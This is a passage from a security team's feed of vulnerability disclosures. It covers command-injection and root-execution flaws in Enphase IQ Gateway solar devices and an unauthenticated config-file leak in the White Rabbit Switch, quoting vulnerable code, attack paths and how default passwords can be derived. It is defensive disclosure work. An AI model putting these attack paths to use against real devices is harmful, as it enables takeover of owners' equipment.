  &lt;li&gt;Case: &lt;a href=&quot;/cases/DIVD-2024-00011&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2024-00011&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Discovered by: Wietse Boonstra, Hidde Smit&lt;/li&gt;
  &lt;li&gt;Credits: Wietse Boonstra of DIVD (finder), Hidde Smit of DIVD (finder), Frank Breedijk of DIVD (analyst), Max van der Horst of DIVD (analyst)&lt;/li&gt;
  &lt;li&gt;Products: Enphase IQ Gateway devices (formerly known as Enphase Envoy) - v8 &amp;lt; v8.2.4225, v7, v6, v5 and v4&lt;/li&gt;
  &lt;li&gt;CVSS: 8.7 (HIGH) - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/S:P/AU:Y/R:I/V:C/RE:H&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Reference: Case &lt;a href=&quot;/cases/DIVD-2024-00011&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2024-00011&lt;/a&gt;, &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21879&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-21879&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Solution: Devices are remotely being updated by the vendor.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wireless_display.rb&lt;/code&gt; sets &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@wlan.regdomain&lt;/code&gt; directly from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;regdomain&lt;/code&gt; parameter of an authenticated POST request, without validation:&lt;/p&gt;

&lt;div class=&quot;language-ruby highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;when&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;advanced_form&apos;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;vi&quot;&gt;@pg_parms&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;cm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;cgi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;key?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;#button_apply&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;vi&quot;&gt;@wlan&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;regdomain&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;vi&quot;&gt;@pg_parms&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;cm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;cgi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;regdomain&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;regdomain=&lt;/code&gt; setter in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wlaninfo.rb&lt;/code&gt; writes this value into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/wifi/wifi.conf&lt;/code&gt; and then executes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/lib/crda/setregdomain&lt;/code&gt;, a shell script that sources the same config file:&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;ENVOY_WIFI_PARMFILE&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;ENVOY_WIFI_PARMFILE&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Because the config file is sourced with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.&lt;/code&gt; rather than treated as data, any shell metacharacters an attacker embeds in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;regdomain&lt;/code&gt; are executed as root, immediately - no reboot or cron wait required.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Suggested actions&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Do not expose your Enphase IQ Gateway device to an untrusted network. Change default credentials on older firmware. Update to firmware 8.2.4225 or later as soon as it is offered by Enphase.&lt;/p&gt;

&lt;h2 id=&quot;authenticated-command-injection-via-network-configuration---cve-2024-21880&quot;&gt;Authenticated command injection via network configuration - CVE-2024-21880&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;CVE: &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21880&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-21880&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Case: &lt;a href=&quot;/cases/DIVD-2024-00011&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2024-00011&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Discovered by: Wietse Boonstra, Hidde Smit&lt;/li&gt;
  &lt;li&gt;Credits: Wietse Boonstra of DIVD (finder), Hidde Smit of DIVD (finder), Frank Breedijk of DIVD (analyst), Max van der Horst of DIVD (analyst)&lt;/li&gt;
  &lt;li&gt;Products: Enphase IQ Gateway devices (formerly known as Enphase Envoy) - v7, v6, v5 and v4&lt;/li&gt;
  &lt;li&gt;CVSS: 8.6 (HIGH) - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/S:P/AU:Y/R:I/V:C/RE:H&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Reference: Case &lt;a href=&quot;/cases/DIVD-2024-00011&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2024-00011&lt;/a&gt;, &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21880&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-21880&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Solution: Devices are remotely being updated by the vendor.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Devices with firmware prior to 7.0 do not validate the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;default_apn&lt;/code&gt; parameter submitted to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/admin/lib/network_display.json&lt;/code&gt; endpoint. On these older firmware versions, the default installer credentials are &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;envoy:nnnnnn&lt;/code&gt;, where &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nnnnnn&lt;/code&gt; is the last six digits of the device’s serial number, which can be read remotely and unauthenticated from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/info.xml&lt;/code&gt;. Combined, this allows an authenticated attacker - including one who only guessed the predictable default password - to inject and execute arbitrary shell commands as root by manipulating &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;default_apn&lt;/code&gt; and then triggering a network adapter restart.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Suggested actions&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Do not expose your Enphase IQ Gateway device to an untrusted network. Change default credentials. Restrict network access to the administrative interface to trusted users. Update to firmware 8.2.4225 or later as soon as it is offered by Enphase.&lt;/p&gt;

&lt;h2 id=&quot;authenticated-command-execution-via-malicious-encrypted-package-upload---cve-2024-21881&quot;&gt;Authenticated command execution via malicious encrypted package upload - CVE-2024-21881&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;CVE: &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21881&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-21881&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Case: &lt;a href=&quot;/cases/DIVD-2024-00011&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2024-00011&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Discovered by: Wietse Boonstra, Hidde Smit&lt;/li&gt;
  &lt;li&gt;Credits: Wietse Boonstra of DIVD (finder), Hidde Smit of DIVD (finder), Frank Breedijk of DIVD (analyst), Max van der Horst of DIVD (analyst)&lt;/li&gt;
  &lt;li&gt;Products: Enphase IQ Gateway devices (formerly known as Enphase Envoy) - v5 and v4&lt;/li&gt;
  &lt;li&gt;CVSS: 8.6 (HIGH) - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/S:P/AU:Y/R:I/V:C/RE:H&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Reference: Case &lt;a href=&quot;/cases/DIVD-2024-00011&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2024-00011&lt;/a&gt;, &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21881&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-21881&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Solution: Devices are remotely being updated by the vendor.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/opt/emu/httpd/rhtdocs/installer/agf/upload_profile_package.rb&lt;/code&gt; decrypts an uploaded &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.eepkg&lt;/code&gt; package and, if it contains a migration script, executes it with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;system()&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-ruby highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;handle_file_upload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;UPLOAD_PATH&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;UPLOAD_FILE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;md5sum &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;UPLOAD_PATH&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;UPLOAD_FILE&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; &amp;gt; &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;UPLOAD_PATH&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;UPLOAD_FILE&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.md5sum; eecrypt --action decrypt --input &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;UPLOAD_PATH&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;UPLOAD_FILE&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; --output stdout | gunzip &amp;gt; &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;UPLOAD_PATH&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;DECRYPTED_FILE&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# -----&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;exist?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;UPLOAD_PATH&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;MIGRATION_SCRIPT&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
      &lt;span class=&quot;nb&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;ruby &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;UPLOAD_PATH&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;MIGRATION_SCRIPT&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; verbose &amp;amp;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Because the encryption used for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.eepkg&lt;/code&gt; packages relies on a key and tooling (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;eecrypt&lt;/code&gt;) that is not adequately protected, an authenticated installer-level attacker can craft their own valid encrypted package containing an arbitrary &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;migration_script&lt;/code&gt;, upload it, and have the device execute it as root.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Suggested actions&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Do not expose your Enphase IQ Gateway device to an untrusted network. Update to firmware 8.2.4225 or later as soon as it is offered by Enphase, or where a full update is not possible for these older device generations, restrict installer-level access as tightly as possible.&lt;/p&gt;

&lt;h2 id=&quot;timeline&quot;&gt;Timeline&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;2024-04-11&lt;/strong&gt;: Wietse Boonstra and Hidde Smit report six vulnerabilities to DIVD CSIRT.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-04-17&lt;/strong&gt;: Vendor notified via email to cybersecurity@enphaseenergy.com and cybersecurity@enphase.com and via ticket 16059299.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-04-18&lt;/strong&gt;: Vendor acknowledges receipt of the vulnerability (time to acknowledge: 1 day).&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-04-18&lt;/strong&gt;: 1st meeting between DIVD researchers and vendor.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-04-18 to 2024-07-12&lt;/strong&gt;: DIVD and Enphase work together (time to patch: ~3 months).&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-07-12&lt;/strong&gt;: Enphase reports that the vulnerabilities are patched. Finders validate the fixes. Enphase starts updating devices.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-07-12&lt;/strong&gt;: DIVD starts scanning for vulnerable Envoy devices to assist with prioritizing the patch process.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-04-18 to 2024-08-10&lt;/strong&gt;: Time to limited disclosure.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-08-10&lt;/strong&gt;: Limited disclosure of CVEs by Enphase.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-08-10&lt;/strong&gt;: Limited disclosure of CVEs by DIVD following Enphase disclosure.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2026-07-27&lt;/strong&gt;: Full disclosure of CVEs by DIVD.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;more-information&quot;&gt;More information&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://enphase.com/cybersecurity/advisories/ensa-2024-1&quot;&gt;Enphase Advisories&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21876&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-21876&lt;/a&gt; - &lt;a href=&quot;https://enphase.com/cybersecurity/advisories/ensa-2024-1&quot;&gt;Enphase Advisory for CVE-2024-21876&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21877&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-21877&lt;/a&gt; - &lt;a href=&quot;https://enphase.com/cybersecurity/advisories/ensa-2024-2&quot;&gt;Enphase Advisory for CVE-2024-21877&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21878&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-21878&lt;/a&gt; - &lt;a href=&quot;https://enphase.com/cybersecurity/advisories/ensa-2024-3&quot;&gt;Enphase Advisory for CVE-2024-21878&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21879&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-21879&lt;/a&gt; - &lt;a href=&quot;https://enphase.com/cybersecurity/advisories/ensa-2024-4&quot;&gt;Enphase Advisory for CVE-2024-21879&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21880&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-21880&lt;/a&gt; - &lt;a href=&quot;https://enphase.com/cybersecurity/advisories/ensa-2024-5&quot;&gt;Enphase Advisory for CVE-2024-21880&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21881&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-21881&lt;/a&gt; - &lt;a href=&quot;https://enphase.com/cybersecurity/advisories/ensa-2024-6&quot;&gt;Enphase Advisory for CVE-2024-21881&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;/cases/DIVD-2024-00011&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2024-00011&lt;/a&gt; - full case file&lt;/li&gt;
  &lt;li&gt;Recommendation: Do not expose your Enphase equipment to untrusted networks (e.g. the internet or a visitor network). If internet connectivity is needed, place the device behind a NAT gateway.&lt;/li&gt;
&lt;/ul&gt;
</description>
                <pubDate>Mon, 27 Jul 2026 00:00:00 +0200</pubDate>
                <link>https://csirt.divd.nl/2026/07/27/enphase-iq-gateway-full-disclosure/</link>
                <guid isPermaLink="true">https://csirt.divd.nl/2026/07/27/enphase-iq-gateway-full-disclosure/</guid>
            </item><item>
                            <title>Case closed: DIVD-2025-00003 - Multiple vulnerabilities in Mennekes Smart / Premium Charging stations</title>
                            <description>
                                &lt;p&gt;Five vulnerabilities have been found in Mennekes Smart / Premium charging stations&lt;/p&gt;

                            </description>
                            <pubDate>Fri, 17 Jul 2026 02:00:00 +0200</pubDate>
                            <link>https://csirt.divd.nl/cases/DIVD-2025-00003/</link>
                            <guid isPermaLink="true">https://csirt.divd.nl/cases/DIVD-2025-00003/</guid>
                        </item>
            <item>
                <title>White Rabbit Switch full disclosure</title>
                <description>&lt;p&gt;DIVD received a vulnerability report about the White Rabbit Switch from CERN. The vulnerabilities were discovered by researcher Tom Wolters of Chapter8.&lt;/p&gt;

&lt;p&gt;DIVD is a CVE Numbering Authority (CNA) and has used these rights to assign the following CVEs to the vulnerabilities included in the write-up below:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-22577&quot; class=&quot;cve secinfo&quot;&gt;CVE-2023-22577&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-22581&quot; class=&quot;cve secinfo&quot;&gt;CVE-2023-22581&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The rest of this post contains the full technical write-up of the vulnerabilities.&lt;/p&gt;

&lt;h2 id=&quot;unauthenticated-password-disclosure-via-configuration-file-read---cve-2023-22577&quot;&gt;Unauthenticated password disclosure via configuration file read - CVE-2023-22577&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;CVE: &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-22577&quot; class=&quot;cve secinfo&quot;&gt;CVE-2023-22577&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Case: &lt;a href=&quot;/cases/DIVD-2022-00068&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2022-00068&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Discovered by: Tom Wolters (Chapter8)&lt;/li&gt;
  &lt;li&gt;Credits: Reported to DIVD by Tom Wolters (Chapter8, tom@chapter8.com). Analysis by Victor Pasman (DIVD).&lt;/li&gt;
  &lt;li&gt;Products: White Rabbit Switch, all versions prior to 6.0.1 (most recent vulnerable release 7/7/21)&lt;/li&gt;
  &lt;li&gt;CVSS: 9.8 (CRITICAL) — &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Reference: Case &lt;a href=&quot;/cases/DIVD-2022-00068&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2022-00068&lt;/a&gt;, &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-22577&quot; class=&quot;cve secinfo&quot;&gt;CVE-2023-22577&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Solution: Upgrade to White Rabbit Switch version 6.0.2, which contains a fix for this vulnerability.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Within White Rabbit Switch it’s possible as an unauthenticated user to retrieve sensitive information such as password hashes and the SNMP community strings.&lt;/p&gt;

&lt;p&gt;The web application exposes a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;showfile.php&lt;/code&gt; endpoint that is used to serve context-sensitive “help pages” for the various configuration screens. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;help_id&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;name&lt;/code&gt; GET parameters supplied by the visitor are passed unfiltered into the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wrs_display_help()&lt;/code&gt; function, defined in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;functions.php&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;One of the branches of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wrs_display_help()&lt;/code&gt; handles a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;help_id&lt;/code&gt; value of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dotconfig&lt;/code&gt;, in which case the function reads out the full contents of the application’s configuration file (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kconfigfile&lt;/code&gt;) and returns it directly to the requester:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$help_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;dotconfig&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)){&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$message&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;file_get_contents&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$GLOBALS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;kconfigfile&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$message&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str_replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;br&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
